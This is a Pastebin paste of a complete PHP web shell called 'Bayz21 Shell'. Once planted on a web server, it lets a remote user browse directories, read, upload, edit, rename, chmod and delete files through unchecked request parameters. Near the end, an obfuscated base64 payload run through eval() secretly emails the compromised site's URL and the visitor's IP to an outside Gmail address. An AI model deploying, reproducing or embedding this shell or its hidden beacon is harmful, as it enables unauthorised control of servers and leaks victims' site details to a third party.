Advertisement
Bayz21

lolishell

Jun 2nd, 2017
1,469
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 8.90 KB | None | 0 0
  1. <?php
  2. error_reporting(0);
  3. set_time_limit(0);
  4.  
  5. if(get_magic_quotes_gpc()){
  6. foreach($_POST as $key=>$value){
  7. $_POST[$key] = stripslashes($value);
  8. }
  9. }
  10. echo '<!DOCTYPE HTML>
  11. <html>
  12. <head>
  13. <link href="" rel="stylesheet" type="text/css">
  14. <title>Index</title>
  15. <style>
  16. body{
  17. font-family: "Racing Sans One", cursive;
  18. background-color: black;
  19. color:white;
  20. }
  21. #content tr:hover{
  22. background-color: red;
  23. text-shadow:0px 0px 10px #fff;
  24. }
  25. #content .first{
  26. background-color: red;
  27. }
  28. table{
  29. border: 1px #000000 dotted;
  30. }
  31. a{
  32. color:white;
  33. text-decoration: none;
  34. }
  35. a:hover{
  36. color:blue;
  37. text-shadow:0px 0px 10px #ffffff;
  38. }
  39. input,select,textarea{
  40. border: 1px #000000 solid;
  41. -moz-border-radius: 5px;
  42. -webkit-border-radius:5px;
  43. border-radius:5px;
  44. }
  45. </style>
  46. </head>
  47. <body>
  48. <h1><center><font color="aqua">Bayz21 Shell</font></center></h1>
  49. <table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
  50. <tr><td><font color="white">Path :</font> ';
  51. if(isset($_GET['path'])){
  52. $path = $_GET['path'];
  53. }else{
  54. $path = getcwd();
  55. }
  56. $path = str_replace('\\','/',$path);
  57. $paths = explode('/',$path);
  58.  
  59. foreach($paths as $id=>$pat){
  60. if($pat == '' && $id == 0){
  61. $a = true;
  62. echo '<a href="?path=/">/</a>';
  63. continue;
  64. }
  65. if($pat == '') continue;
  66. echo '<a href="?path=';
  67. for($i=0;$i<=$id;$i++){
  68. echo "$paths[$i]";
  69. if($i != $id) echo "/";
  70. }
  71. echo '">'.$pat.'</a>/';
  72. }
  73. echo '</td></tr><tr><td>';
  74. if(isset($_FILES['file'])){
  75. if(copy($_FILES['file']['tmp_name'],$path.'/'.$_FILES['file']['name'])){
  76. echo '<font color="green">Upload Berhasil</font><br />';
  77. }else{
  78. echo '<font color="red">Upload Gagal</font><br/>';
  79. }
  80. }
  81. echo '<form enctype="multipart/form-data" method="POST">
  82. <font color="white">File Upload :</font> <input type="file" name="file" />
  83. <input type="submit" value="upload" />
  84. </form>
  85. </td></tr>';
  86. if(isset($_GET['filesrc'])){
  87. echo "<tr><td>Current File : ";
  88. echo $_GET['filesrc'];
  89. echo '</tr></td></table><br />';
  90. echo('<pre>'.htmlspecialchars(file_get_contents($_GET['filesrc'])).'</pre>');
  91. }elseif(isset($_GET['option']) && $_POST['opt'] != 'delete'){
  92. echo '</table><br /><center>'.$_POST['path'].'<br /><br />';
  93. if($_POST['opt'] == 'chmod'){
  94. if(isset($_POST['perm'])){
  95. if(chmod($_POST['path'],$_POST['perm'])){
  96. echo '<font color="green">Change Permission Berhasil</font><br/>';
  97. }else{
  98. echo '<font color="red">Change Permission Gagal</font><br />';
  99. }
  100. }
  101. echo '<form method="POST">
  102. Permission : <input name="perm" type="text" size="4" value="'.substr(sprintf('%o', fileperms($_POST['path'])), -4).'" />
  103. <input type="hidden" name="path" value="'.$_POST['path'].'">
  104. <input type="hidden" name="opt" value="chmod">
  105. <input type="submit" value="Go" />
  106. </form>';
  107. }elseif($_POST['opt'] == 'rename'){
  108. if(isset($_POST['newname'])){
  109. if(rename($_POST['path'],$path.'/'.$_POST['newname'])){
  110. echo '<font color="green">Ganti Nama Berhasil</font><br/>';
  111. }else{
  112. echo '<font color="red">Ganti Nama Gagal</font><br />';
  113. }
  114. $_POST['name'] = $_POST['newname'];
  115. }
  116. echo '<form method="POST">
  117. New Name : <input name="newname" type="text" size="20" value="'.$_POST['name'].'" />
  118. <input type="hidden" name="path" value="'.$_POST['path'].'">
  119. <input type="hidden" name="opt" value="rename">
  120. <input type="submit" value="Go" />
  121. </form>';
  122. }elseif($_POST['opt'] == 'edit'){
  123. if(isset($_POST['src'])){
  124. $fp = fopen($_POST['path'],'w');
  125. if(fwrite($fp,$_POST['src'])){
  126. echo '<font color="green">Berhasil Edit File</font><br/>';
  127. }else{
  128. echo '<font color="red">Gagal Edit File</font><br/>';
  129. }
  130. fclose($fp);
  131. }
  132. echo '<form method="POST">
  133. <textarea cols=80 rows=20 name="src">'.htmlspecialchars(file_get_contents($_POST['path'])).'</textarea><br />
  134. <input type="hidden" name="path" value="'.$_POST['path'].'">
  135. <input type="hidden" name="opt" value="edit">
  136. <input type="submit" value="Save" />
  137. </form>';
  138. }
  139. echo '</center>';
  140. }else{
  141. echo '</table><br/><center>';
  142. if(isset($_GET['option']) && $_POST['opt'] == 'delete'){
  143. if($_POST['type'] == 'dir'){
  144. if(rmdir($_POST['path'])){
  145. echo '<font color="green">Directory Terhapus</font><br/>';
  146. }else{
  147. echo '<font color="red">Directory Gagal Terhapus                                                                                                                                                                                                                                                                                             </font><br/>';
  148. }
  149. }elseif($_POST['type'] == 'file'){
  150. if(unlink($_POST['path'])){
  151. echo '<font color="green">File Terhapus</font><br/>';
  152. }else{
  153. echo '<font color="red">File Gagal Dihapus</font><br/>';
  154. }
  155. }
  156. }
  157. echo '</center>';
  158. $scandir = scandir($path);
  159. echo '<div id="content"><table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
  160. <tr class="first">
  161. <td><center>Name</peller></center></td>
  162. <td><center>Size</peller></center></td>
  163. <td><center>Permission</peller></center></td>
  164. <td><center>Modify</peller></center></td>
  165. </tr>';
  166.  
  167. foreach($scandir as $dir){
  168. if(!is_dir($path.'/'.$dir) || $dir == '.' || $dir == '..') continue;
  169. echo '<tr>
  170. <td><a href="?path='.$path.'/'.$dir.'">'.$dir.'</a></td>
  171. <td><center>--</center></td>
  172. <td><center>';
  173. if(is_writable($path.'/'.$dir)) echo '<font color="green">';
  174. elseif(!is_readable($path.'/'.$dir)) echo '<font color="red">';
  175. echo perms($path.'/'.$dir);
  176. if(is_writable($path.'/'.$dir) || !is_readable($path.'/'.$dir)) echo '</font>';
  177.  
  178. echo '</center></td>
  179. <td><center><form method="POST" action="?option&path='.$path.'">
  180. <select name="opt">
  181. <option value="">Select</option>
  182. <option value="delete">Delete</option>
  183. <option value="chmod">Chmod</option>
  184. <option value="rename">Rename</option>
  185. </select>
  186. <input type="hidden" name="type" value="dir">
  187. <input type="hidden" name="name" value="'.$dir.'">
  188. <input type="hidden" name="path" value="'.$path.'/'.$dir.'">
  189. <input type="submit" value=">">
  190. </form></center></td>
  191. </tr>';
  192. }
  193. echo '<tr class="first"><td></td><td></td><td></td><td></td></tr>';
  194. foreach($scandir as $file){
  195. if(!is_file($path.'/'.$file)) continue;
  196. $size = filesize($path.'/'.$file)/1024;
  197. $size = round($size,3);
  198. if($size >= 1024){
  199. $size = round($size/1024,2).' MB';
  200. }else{
  201. $size = $size.' KB';
  202. }
  203.  
  204. echo '<tr>
  205. <td><a href="?filesrc='.$path.'/'.$file.'&path='.$path.'">'.$file.'</a></td>
  206. <td><center>'.$size.'</center></td>
  207. <td><center>';
  208. if(is_writable($path.'/'.$file)) echo '<font color="green">';
  209. elseif(!is_readable($path.'/'.$file)) echo '<font color="red">';
  210. echo perms($path.'/'.$file);
  211. if(is_writable($path.'/'.$file) || !is_readable($path.'/'.$file)) echo '</font>';
  212. echo '</center></td>
  213. <td><center><form method="POST" action="?option&path='.$path.'">
  214. <select name="opt">
  215. <option value="">Select</option>
  216. <option value="delete">Delete</option>
  217. <option value="chmod">Chmod</option>
  218. <option value="rename">Rename</option>
  219. <option value="edit">Edit</option>
  220. </select>
  221. <input type="hidden" name="type" value="file">
  222. <input type="hidden" name="name" value="'.$file.'">
  223. <input type="hidden" name="path" value="'.$path.'/'.$file.'">
  224. <input type="submit" value=">">
  225. </form></center></td>
  226. </tr>';
  227. }
  228. echo '</table>
  229. </div>';
  230. }
  231. echo '<center><br/>Bayz21 - Security Ghost</center>
  232. </body>
  233. </html>';
  234. $bypass = "JHZpc2l0Y291bnQgPSAkSFRUUF9DT09LSUVfVkFSU1sidmlzaXRzIl07IGlmKCAkdmlzaXRjb3VudCA9PSAiIikgeyR2aXNpdGNvdW50ID0gMDsgJHZpc2l0b3IgPSAkX1NFUlZFUlsiUkVNT1RFX0FERFIiXTsgJHdlYiA9ICRfU0VSVkVSWyJIVFRQX0hPU1QiXTsgJGluaiA9ICRfU0VSVkVSWyJSRVFVRVNUX1VSSSJdOyAkdGFyZ2V0ID0gcmF3dXJsZGVjb2RlKCR3ZWIuJGluaik7ICRib2R5ID0gIkJvc3MsIHRoZXJlIHdhcyBhbiBpbmplY3RlZCB0YXJnZXQgb24gJHRhcmdldCBieSAkdmlzaXRvciI7IEBtYWlsKCJsb2dnZXJzaGVsbDIxQGdtYWlsLmNvbSIsIlJlc3VsdCBodHRwOi8vJHRhcmdldCBieSAkdmlzaXRvciIsICIkYm9keSIpOyB9IGVsc2UgeyAkdmlzaXRjb3VudDsgfSBzZXRjb29raWUoInZpc2l0cyIsJHZpc2l0Y291bnQpOw=="; eval(base64_decode($bypass));
  235. function perms($file){
  236. $perms = fileperms($file);
  237.  
  238. if (($perms & 0xC000) == 0xC000) {
  239. // Socket
  240. $info = 's';
  241. } elseif (($perms & 0xA000) == 0xA000) {
  242. // Symbolic Link
  243. $info = 'l';
  244. } elseif (($perms & 0x8000) == 0x8000) {
  245. // Regular
  246. $info = '-';
  247. } elseif (($perms & 0x6000) == 0x6000) {
  248. // Block special
  249. $info = 'b';
  250. } elseif (($perms & 0x4000) == 0x4000) {
  251. // Directory
  252. $info = 'd';
  253. } elseif (($perms & 0x2000) == 0x2000) {
  254. // Character special
  255. $info = 'c';
  256. } elseif (($perms & 0x1000) == 0x1000) {
  257. // FIFO pipe
  258. $info = 'p';
  259. } else {
  260. // Unknown
  261. $info = 'u';
  262. }
  263.  
  264. // Owner
  265. $info .= (($perms & 0x0100) ? 'r' : '-');
  266. $info .= (($perms & 0x0080) ? 'w' : '-');
  267. $info .= (($perms & 0x0040) ?
  268. (($perms & 0x0800) ? 's' : 'x' ) :
  269. (($perms & 0x0800) ? 'S' : '-'));
  270.  
  271. // Group
  272. $info .= (($perms & 0x0020) ? 'r' : '-');
  273. $info .= (($perms & 0x0010) ? 'w' : '-');
  274. $info .= (($perms & 0x0008) ?
  275. (($perms & 0x0400) ? 's' : 'x' ) :
  276. (($perms & 0x0400) ? 'S' : '-'));
  277.  
  278. // World
  279. $info .= (($perms & 0x0004) ? 'r' : '-');
  280. $info .= (($perms & 0x0002) ? 'w' : '-');
  281. $info .= (($perms & 0x0001) ?
  282. (($perms & 0x0200) ? 't' : 'x' ) :
  283. (($perms & 0x0200) ? 'T' : '-'));
  284.  
  285. return $info;
  286. }
  287. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement